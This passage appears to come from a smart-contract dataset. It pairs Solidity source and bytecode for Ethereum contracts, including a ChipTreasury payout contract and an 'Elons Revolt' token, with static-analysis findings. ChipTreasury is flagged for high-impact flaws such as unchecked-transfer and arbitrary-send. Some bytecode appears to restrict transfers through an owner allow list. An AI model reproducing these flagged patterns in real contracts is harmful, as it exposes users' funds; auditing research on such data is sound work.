ffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611c0a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b756022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611740576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561184c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611b526023913960400191505060405180910390fd5b611857868686611b4c565b6118c284604051806060016040528060268152602001611b97602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611955846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611ab1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a76578082015181840152602081019050611a5b565b50505050905090810190601f168015611aa35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212208e96857510ed3c202d1e3730688856c9bab776cfba50658efd9283a5d84c71f664736f6c63430006060033
{"success": true, "error": null, "results": {}}
10,261
0xe6c071cb6c179172afd9e4219ac7d93a70713da6
pragma solidity 0.4.21; // File: zeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: zeppelin-solidity/contracts/lifecycle/Pausable.sol /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } // File: zeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: zeppelin-solidity/contracts/token/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } // File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: zeppelin-solidity/contracts/token/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: contracts/ChipTreasury.sol // TODO: Explore possibility of retiring unclaimed chips contract ChipTreasury is Pausable { using SafeMath for uint256; mapping(uint => Chip) public chips; uint public numChipsMinted; uint public numChipsClaimed; struct Chip { bytes32 hash; bool claimed; } event Deposit(address indexed sender, uint value); event Withdrawal(address indexed to, uint value); event TokenWithdrawal(address indexed to, address indexed token, uint value); event ChipMinted(uint indexed chipId); event ChipClaimAttempt(address indexed sender, uint indexed chipId); event ChipClaimSuccess(address indexed sender, uint indexed chipId); function ChipTreasury () public { paused = true; } function () public payable { if (msg.value > 0) emit Deposit(msg.sender, msg.value); } function claimChip (uint chipId, string password) public whenNotPaused { emit ChipClaimAttempt(msg.sender, chipId); // 1. Conditions require(isClaimed(chipId) == false); // chip is unclaimed require(isChipPassword(chipId, password)); // sender has chip password // 2. Effects uint chipValue = getChipValue(); // get chip value numChipsClaimed = numChipsClaimed.add(1); // increase claimed count chips[chipId].claimed = true; // mark chip as claimed // 3. Interaction msg.sender.transfer(chipValue); // send ether to the sender emit ChipClaimSuccess(msg.sender, chipId); } // NOTE: You must prefix hashes with '0x' function mintChip (bytes32 hash) public onlyOwner { chips[numChipsMinted] = Chip(hash, false); emit ChipMinted(numChipsMinted); numChipsMinted = numChipsMinted.add(1); } function withdrawFunds (uint value) public onlyOwner { owner.transfer(value); emit Withdrawal(owner, value); } function withdrawTokens (address token, uint value) public onlyOwner { StandardToken(token).transfer(owner, value); emit TokenWithdrawal(owner, token, value); } function isClaimed (uint chipId) public constant returns(bool) { return chips[chipId].claimed; } function getNumChips () public constant returns(uint) { return numChipsMinted.sub(numChipsClaimed); } function getChipIds (bool isChipClaimed) public constant returns(uint[]) { uint[] memory chipIdsTemp = new uint[](numChipsMinted); uint count = 0; uint i; // filter chips by isChipClaimed status for (i = 0; i < numChipsMinted; i++) { if (isChipClaimed == chips[i].claimed) { chipIdsTemp[count] = i; count += 1; } } // return array of filtered chip ids uint[] memory _chipIds = new uint[](count); for (i = 0; i < count; i++) _chipIds[i] = chipIdsTemp[i]; return _chipIds; } function getChipValue () public constant returns(uint) { uint numChips = getNumChips(); if (numChips > 0) return address(this).balance.div(numChips); return 0; } function isChipPassword (uint chipId, string password) internal constant returns(bool) { return chips[chipId].hash == keccak256(password); } }
0x6060604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306b091f914610140578063155dd5ee14610182578063290c398f146101a55780632bdcd90d1461021f57806330a3ce81146102855780633f4ba83a146102ae57806340d96050146102c35780635a70686a1461030d5780635c975abb1461033457806378160d6b146103615780638456cb591461038a5780638da5cb5b1461039f5780639c8e1d50146103f45780639e34070f1461041d578063f2fde38b14610458578063fb9cb15d14610491575b600034111561013e573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b005b341561014b57600080fd5b610180600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506104ba565b005b341561018d57600080fd5b6101a3600480803590602001909190505061067a565b005b34156101b057600080fd5b6101c8600480803515159060200190919050506107a8565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561020b5780820151818401526020810190506101f0565b505050509050019250505060405180910390f35b341561022a57600080fd5b610283600480803590602001909190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506108d4565b005b341561029057600080fd5b610298610a42565b6040518082815260200191505060405180910390f35b34156102b957600080fd5b6102c1610a60565b005b34156102ce57600080fd5b6102e46004808035906020019091905050610b1e565b604051808360001916600019168152602001821515151581526020019250505060405180910390f35b341561031857600080fd5b610332600480803560001916906020019091905050610b4f565b005b341561033f57600080fd5b610347610c5c565b604051808215151515815260200191505060405180910390f35b341561036c57600080fd5b610374610c6f565b6040518082815260200191505060405180910390f35b341561039557600080fd5b61039d610c75565b005b34156103aa57600080fd5b6103b2610d35565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103ff57600080fd5b610407610d5a565b6040518082815260200191505060405180910390f35b341561042857600080fd5b61043e6004808035906020019091905050610daa565b604051808215151515815260200191505060405180910390f35b341561046357600080fd5b61048f600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610dd7565b005b341561049c57600080fd5b6104a4610f2c565b6040518082815260200191505060405180910390f35b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561051557600080fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156105d857600080fd5b5af115156105e557600080fd5b50505060405180519050508173ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f42856d0378dde02337bb59ae41747abc77ded8ebdbbc5cbdd1e53693b7554938836040518082815260200191505060405180910390a35050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156106d557600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050151561073657600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7fcf532c15f0a6db0bd6d0e038bea71d30d808c7d98cb3bf7268a95bf5081b65826040518082815260200191505060405180910390a250565b6107b0611011565b6107b8611011565b6000806107c3611011565b6002546040518059106107d35750595b9080825280602002602001820160405250935060009250600091505b600254821015610859576001600083815260200190815260200160002060010160009054906101000a900460ff161515861515141561084c5781848481518110151561083757fe5b90602001906020020181815250506001830192505b81806001019250506107ef565b826040518059106108675750595b90808252806020026020018201604052509050600091505b828210156108c857838281518110151561089557fe5b9060200190602002015181838151811015156108ad57fe5b9060200190602002018181525050818060010192505061087f565b80945050505050919050565b60008060149054906101000a900460ff161515156108f157600080fd5b823373ffffffffffffffffffffffffffffffffffffffff167f22309f59fa3f7ccfac0b04bf4e51ff43c9ea2cab5fc46caa3ef8a85698b4c92260405160405180910390a36000151561094284610daa565b151514151561095057600080fd5b61095a8383610f32565b151561096557600080fd5b61096d610d5a565b90506109856001600354610fbf90919063ffffffff16565b600381905550600180600085815260200190815260200160002060010160006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015156109f957600080fd5b823373ffffffffffffffffffffffffffffffffffffffff167f044838236845b7a22c1f05ca45187b45a2d76d63beb0f1634a59ea6e888810f960405160405180910390a3505050565b6000610a5b600354600254610fdd90919063ffffffff16565b905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610abb57600080fd5b600060149054906101000a900460ff161515610ad657600080fd5b60008060146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60016020528060005260406000206000915090508060000154908060010160009054906101000a900460ff16905082565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610baa57600080fd5b604080519081016040528082600019168152602001600015158152506001600060025481526020019081526020016000206000820151816000019060001916905560208201518160010160006101000a81548160ff0219169083151502179055509050506002547fb7aeae2f01fb40038c35eeac3606c0707403ac76e46aa35d1ade5cebd53aeb6560405160405180910390a2610c536001600254610fbf90919063ffffffff16565b60028190555050565b600060149054906101000a900460ff1681565b60035481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cd057600080fd5b600060149054906101000a900460ff16151515610cec57600080fd5b6001600060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080610d65610a42565b90506000811115610da157610d9a813073ffffffffffffffffffffffffffffffffffffffff1631610ff690919063ffffffff16565b9150610da6565b600091505b5090565b60006001600083815260200190815260200160002060010160009054906101000a900460ff169050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e3257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610e6e57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60025481565b6000816040518082805190602001908083835b602083101515610f6a5780518252602082019150602081019050602083039250610f45565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390206000191660016000858152602001908152602001600020600001546000191614905092915050565b6000808284019050838110151515610fd357fe5b8091505092915050565b6000828211151515610feb57fe5b818303905092915050565b600080828481151561100457fe5b0490508091505092915050565b6020604051908101604052806000815250905600a165627a7a72305820fc575a1325b3eea399980bcb5a137f77ac02cc109f59f3c6f5fdd0b160f072a20029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,262
0xd5d949ce824984effaaf904ec2194190d1720cf8
/* ___________.__ ________ _______ _________ _________________________ ____________ .____ ___________ \_ _____/| | \_____ \ \ \ / _____/ \______ \_ _____/\ \ / /\_____ \ | | \__ ___/ | __)_ | | / | \ / | \ \_____ \ | _/| __)_ \ Y / / | \| | | | | \| |__/ | \/ | \/ \ | | \| \ \ / / | \ |___| | /_______ /|____/\_______ /\____|__ /_______ / |____|_ /_______ / \___/ \_______ /_______ \____| \/ \/ \/ \/ \/ \/ \/ \/ * Website: http://www.elonsrevolt.com * TG: https://t.me/ELONSVOLTportal */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract EVOLT is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Elons Revolt"; string private constant _symbol = "eVOLT"; uint8 private constant _decimals = 12; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**12; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 10; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 10; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _marketingAddress ; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 5000000 * 10**12; uint256 public _maxWalletSize = 20000000 * 10**12; uint256 public _swapTokensAtAmount = 10000 * 10**12; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _marketingAddress = payable(_msgSender()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, 